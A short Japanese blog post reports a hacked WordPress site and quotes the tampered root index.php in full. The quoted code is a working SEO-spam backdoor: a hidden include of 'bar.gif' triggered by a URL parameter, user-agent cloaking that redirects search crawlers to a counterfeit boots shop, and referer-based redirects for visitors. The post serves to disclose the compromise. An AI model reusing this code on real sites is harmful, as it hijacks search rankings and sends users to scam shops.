wordpress 侵食

とあるサイト。

rootのindex.phpにこんなことが書かれてました。
検索結果、改ざん。

<?php
ini_set("display_errors","0");
define('WP_USE_THEMES', true);

if($_GET["c"]!=""){
include_once('bar.gif');
}

$flag=false;$tmp=$_SERVER['HTTP_USER_AGENT'];if(stripos($tmp,'Google')!==false){$flag=true;}else if(stripos($tmp,'Bing')!==false){$flag=true;}else if(stripos($tmp,'Yahoo')!==false){$flag=true;}else if(stripos($tmp,'msnbot')!==false){$flag=true;}
if($flag == false){
$RUrl=rawurldecode($_SERVER ['HTTP_REFERER']);
if (stripos($RUrl, 'ugg') or stripos($_GET["p"],'ugg') !== false){header ( "Location: http://www.cheapbootsols.com/" );}else{require('./wp-blog-header.php');}
} else {
  header('HTTP/1.1 301 Moved Permanently');
  header('Location: http://www.cheaperuggsoutletXXXXXXXXX.com/');
}